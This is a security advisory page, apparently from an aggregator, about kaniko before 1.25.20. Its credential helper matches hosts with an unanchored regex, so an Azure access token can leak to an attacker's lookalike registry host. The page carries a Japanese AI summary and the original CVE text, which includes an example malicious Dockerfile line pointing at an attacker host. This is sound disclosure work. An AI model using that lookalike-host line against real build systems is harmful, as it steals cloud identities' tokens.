kanikoでAzureのトークンが漏れる脆弱性、修正版あり
Summary
kanikoの1.25.20より前では、ビルド中のAzureのアクセストークンが、ACRに似せたホスト名の外部サーバーへ送られます。Azure上のIDでイメージをビルドしている組織は、1.25.20へ更新し、ビルド対象のDockerfileの出どころも確認してください。
AI summary
Produced by SecPulse using an external AI model; it may contain mistakes. Check the original description and references below before acting on it.
kanikoの1.25.20より前では、ビルド中のAzureのアクセストークンが、ACRに似せたホスト名の外部サーバーへ送られます。Azure上のIDでイメージをビルドしている組織は、1.25.20へ更新し、ビルド対象のDockerfileの出どころも確認してください。
Affected packages
| Ecosystem | Package | Affected | Fixed |
|---|---|---|---|
| chainguard-forks | kaniko |
< 1.25.20 |
1.25.20 |
| chainguard | kaniko |
< 1.25.20 |
1.25.20 |
Original description The description as published by the source.
kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img or COPY --from=, causes the helper to obtain a token from the build's Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to https:///oauth2/exchange. The attacker can use the token against Azure Resource Manager with the identity's role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No RUN instruction or push is required. This issue is fixed in 1.25.20.
Source: CVE.org (CVE Program・cvelistV5) NVD
References
- web github.com
- web github.com
- web github.com
- web github.com
- web pkg.go.dev